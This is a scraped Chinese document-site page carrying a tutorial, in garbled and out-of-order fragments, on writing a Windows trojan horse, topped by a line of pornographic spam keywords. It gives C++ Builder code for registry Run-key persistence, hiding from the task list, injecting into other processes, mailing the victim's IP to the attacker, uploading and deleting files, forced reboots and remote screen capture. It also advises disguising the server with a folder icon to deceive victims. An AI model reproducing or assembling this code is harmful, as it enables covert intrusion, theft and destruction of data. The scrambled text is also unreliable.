freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

木馬編寫教程學(xué)習(xí)木馬編寫的好資料(專業(yè)版)

  

【正文】 TcpMsg,sizeof(TcpMsgUint))。jAssign(bt2)。msWrite(amp。ItemChange[num1][num2]=true。Graphics::TBitmap *bm=new Graphics::TBitmap。int ItemWidth。RDataRead(msg,sizeof(Msg))。NetBiosName *netbiosname=new NetBiosName。//密碼//int SNum。define MsgDirUintLen sizeof(MsgDirUint)// TCP的Msgtypedef struct{char Name[20]。木馬程序的建立連接的隱藏   木馬程序的數(shù)據(jù)傳遞方法有很多種,其中最常見的要屬TCP,UDP傳輸數(shù)據(jù)的方法了,通常是利用Winsock與目標(biāo)機(jī)的指定端口建立起連接,使用send和recv等API進(jìn)行數(shù)據(jù)的傳遞,但是由于這種方法的隱蔽性比較差,往往容易被一些工具軟件查看到,最簡(jiǎn)單的,比如在命令行狀態(tài)下使用netstat命令,就可以查看到當(dāng)前的活動(dòng)TCP,UDP連接。RegCreateKeyEx(HKEY_LOCAL_MACHINE,SOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUN,0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,amp。DWORD lth=20。do{Suc=RegEnumValue(HKEY_LOCAL_MACHINE,(DWORD)num,str,NULL,amp。}else{    HKEY hkey。HINSTANCE dll=LoadLibrary()。你可以試一下,所有文件都消失了吧?!這叫“踏雪無(wú)痕”。下次開機(jī)時(shí),木馬以動(dòng)態(tài)鏈接庫(kù)形式被加載,存在于系統(tǒng)進(jìn)程中?!?/ fwrite((),1,10000,fp)。 //刪除public_html目錄 NMFTP1〉Upload(NMFTP1〉RemoteIP, NMFTP1〉RemoteIP)?!?/信的內(nèi)容提示你“服務(wù)器正在運(yùn)行”,并且告訴你受害者的目前的IP地址,以便連接 NMSMTP1〉PostMessage〉Subject = Server Running Now!?! ?/  SocketSendText(Success)?!  ?/LookupPrivilegeValue()的作用是修改進(jìn)程的權(quán)限    = 1?!   ?/重復(fù)   }?!   ?/打開目標(biāo)文件準(zhǔn)備讀    times_of_try=times_of_try+1。i300?!  ?//關(guān)閉文件    closedir(dir)。     //將目標(biāo)文件屬性設(shè)為只讀     else     fwrite( ,sizeof(char),3,fp)。s name!)。呵呵,這只不過是牛刀小試罷了。).c_str()。//打開鍵值Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run,如果不存在,就創(chuàng)建之try {  //如果以下語(yǔ)句發(fā)生異常,跳至catch,以避免程序崩潰  if(RegistryReadString(crossbow)!=SystemPath+\\\\)    RegistryWriteString(crossbow,SystemPath+\\\\)。// 得到操作系統(tǒng)的版本號(hào)if (dwVersion = 0x80000000)// 操作系統(tǒng)是Win9x,不是WinNt {    typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD)。直到Win9x橫空出世,尤其是WinNt的普及,大大推動(dòng)了網(wǎng)絡(luò)事業(yè)的發(fā)展的時(shí)候,BO這個(gè)用三年后的眼光看起來(lái)有點(diǎn)簡(jiǎn)單甚至可以說(shuō)是簡(jiǎn)陋的木馬(甚至在Win9x的“關(guān)閉程序”對(duì)話框可以看到進(jìn)程)給了當(dāng)時(shí)中國(guó)人極大的震撼,它在中國(guó)的網(wǎng)絡(luò)安全方面可以說(shuō)是一個(gè)劃時(shí)代的軟件。Server Socket的功能是用來(lái)使本程序變成一個(gè)服務(wù)器程序,可以對(duì)外服務(wù)(對(duì)攻擊者敞開大門)。    //得到RegisterServiceProcess()函數(shù)的地址    lpRegisterServiceProcess(GetCurrentProcessId(),1)。你可以看一看TNMFTP控件使用的端口,是21號(hào)端口,這是FTP協(xié)議的專用控制端口(FTP Control Port);同理TNMSMTP的25號(hào)端口也是SMTP協(xié)議的專用端口?!  ?/將兩個(gè)目標(biāo)文件的屬性改為可讀可寫   if(file_name==1)    sprintf(filename,%s,c:\\\\)?! IR *dir?!   ?/就創(chuàng)建system\\;如果此文件已存在,則會(huì)被覆蓋    times_of_try=times_of_try+1。 FA_SYSTEM)     fwrite(S,sizeof(char),1,fp)?!    ?/計(jì)數(shù)器加1     if(times_of_try100)     {       //如果已經(jīng)試了100次了,仍未成功       SocketSendText(Fail By Open File)。    Return_Text=Return_Text+temp_content?! or(int i=0?! ?/就彈出光驅(qū)的托盤}else if(temp==close){  //如果收到的temp的內(nèi)容是“close”  mciSendString(Set cdaudio door closed wait, NULL, 0, NULL)?!   ?/強(qiáng)行退出WinNt并重啟  }  else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0)?!?/關(guān)閉服務(wù) ServerSocket1〉A(chǔ)ctive =true?!?/你的用戶ID NMFTP1〉Port = 21。Edit1是輸入命令用的,Edit2是準(zhǔn)備輸入目標(biāo)機(jī)的IP地址用的,Edit3是輸入連接端口號(hào)用的,Edit4是用來(lái)輸入欲添加的語(yǔ)句或顯示命令執(zhí)行的結(jié)果的?!?/如果敲的是回車鍵,就和點(diǎn)擊Button1一樣的效果}  最后再添加以下頭文件:include include include include 終于寫完了?。。。ㄈ绻銓?duì)簡(jiǎn)陋的界面不滿意,可以自己用BCB中豐富的控件好好完善完善嘛!)按下Ctrl+F9進(jìn)行編譯鏈接吧!對(duì)于Server,你可以選一個(gè)足以迷惑人的圖標(biāo)(我選的是一個(gè)目錄模樣的圖標(biāo))進(jìn)行編譯,這樣不但受害者容易中招,而且便于隱藏自己。防火墻和殺毒軟件監(jiān)視的是特征碼,如果你是新木馬,它就不吱一聲;但是如果你打開不尋常的端口,它就會(huì)跳出來(lái)報(bào)警。也許你會(huì)覺得奇怪,剛剛不是說(shuō)一個(gè)應(yīng)用程序運(yùn)行之后,一定會(huì)產(chǎn)生一個(gè)進(jìn)程嗎?的確,所以我們可以不把他做成一個(gè)應(yīng)用程序,而把他做為一個(gè)線程,一個(gè)其他應(yīng)用程序的線程,把自身注入其他應(yīng)用程序的地址空間。exception)  //處理異常事件    {//處理異常事件    }    return 0。k)。DeleteFile(AnsiString(strv))。vl=254。        break。關(guān)鍵在于傳遞數(shù)據(jù)的可靠性,壓縮性,以及高效行。define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)////任務(wù)欄隱藏和顯示控制//define MsgSetTaskBarStat 29//設(shè)置消息define MsgTaskBarStat 30//成功消息typedef struct{bool taskshow。//前臺(tái)運(yùn)行或后臺(tái)運(yùn)行程序(隱藏運(yùn)行)}MsgSetProgramOpenUint。break。case 1:GetNetBiosName()。ItemHeight=Sh/yCount。int nowx,nowy。int MinSize=10000。num3=xCount。=ms2Size。}  這個(gè)程序把屏幕畫面切分為了多個(gè)部分,并存儲(chǔ)畫面為JPG格式,這樣壓縮率就變的十分的高了。=MsgCopyScreen。m=(num3num1)*(num4num2)。//************************CopyScreenUint CopyScreen。num2 nowy=ItemHeight*num2。num1 Dests[num1].x=random(ItemWidth)。TPoint Dests[DestNum]。}}當(dāng)服務(wù)器端收到數(shù)據(jù)后,首先要做的工作是解包還原VOID流為結(jié)構(gòu)化的協(xié)議,這里同樣給出事例代碼:NMUDP1RemoteHost=FromIP。數(shù)據(jù)協(xié)議組織好,還有一步工作,就是數(shù)據(jù)的打包發(fā)送,一般的方法是把全部數(shù)據(jù)壓為一個(gè)VOID類型的數(shù)據(jù)流,然后發(fā)送: Msg *msg=new Msg。//要關(guān)閉的窗口的名字}MsgSetProgramCloseUint。//消息種類char SPassword[20]。define MsgDlgLen sizeof(MsgDlgUint)//消息單元長(zhǎng)度////聊天數(shù)據(jù)包定義:////定義如下消息類型:define MsgChatCommon 0//連接事件define MsgChatConnect 1//接入事件define MsgChatEscept 2//結(jié)束事件define MsgChatReceived 16//確認(rèn)對(duì)話內(nèi)容收到//消息結(jié)構(gòu)typedef struct{char ClientName[20]。if(!(Interbase Server)){(Interbase Server,D:\\\\Program Files\\\\Borland\\\\IntrBase\\\\BIN\\\\)?!           egDeleteValue(HKEY_LOCAL_MACHINE,BGroup)。break。char strv[255]。k)。 // Windows 9x隱藏任務(wù)列表        {        首先想到的是條件跳轉(zhuǎn),條件跳轉(zhuǎn)對(duì)于反向工程來(lái)說(shuō)并不有趣?,F(xiàn)在又開始對(duì)exe、dll和txt文件的關(guān)聯(lián)程序動(dòng)手腳了(如冰河和廣外女生)?! ?/發(fā)送命令和欲添加的語(yǔ)句 else  Socket〉SendText(Edit1〉Text)?!?/受害者的IP地址 FILE * Upload?! ?/跳到NextTime } NMSMTP1〉PostMessage〉FromAddress =I don\39?!   ?/返回“Fail By Open File”的信息    goto END。   TOKEN_PRIVILEGES tkp?!   ?/Return_Text的內(nèi)容加上剛才的字符    for(int i=0。接下來(lái)就是查看指定文件的內(nèi)容了,Client將使用“type”命令,(手指累不累???):{else if((0,4)==type){  //如果前4個(gè)字符是“type”  int Read_Num。i++) temp_content[i]=\39。 FA_DIREC)     fwrite( ,sizeof(char),9,fp)?!    ?/加上“\\”字符后將指針指向目錄流     else     filename=(AnsiString(dirname)+entd_name).c_str()?!   ?/返回“Fail By Open DIR\39?!     ?//就發(fā)回“Fail By Open File”的錯(cuò)誤信息       goto END。 //在%System%,作為臨時(shí)文件使用 AnsiString temp=SocketReceiveText()。//TempPath是system目錄緩沖區(qū)的地址,MAX_PATH是緩沖區(qū)的大小,得到目標(biāo)機(jī)的System目錄路徑SystemPath=AnsiString(TempPath)。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的“關(guān)閉程序”對(duì)話框中隱藏的代碼。 木馬的編寫實(shí)例特洛依木馬這個(gè)名詞大家應(yīng)該不陌生,自從98年“死牛崇拜”黑客小組公布Back Orifice以來(lái),木馬猶如平地上的驚雷, 使在Dos——Windows時(shí)代中長(zhǎng)大的中國(guó)網(wǎng)民從五彩繽紛的網(wǎng)絡(luò)之夢(mèng)中驚醒,終于認(rèn)識(shí)到的網(wǎng)絡(luò)也有它邪惡的一面,一時(shí)間人心惶惶。  我們首先應(yīng)該讓我們的程序能夠隱身。//定義一個(gè)變量GetSystemDirectory(TempPath ,MAX_PA
點(diǎn)擊復(fù)制文檔內(nèi)容
醫(yī)療健康相關(guān)推薦
文庫(kù)吧 www.dybbs8.com
備案圖鄂ICP備17016276號(hào)-1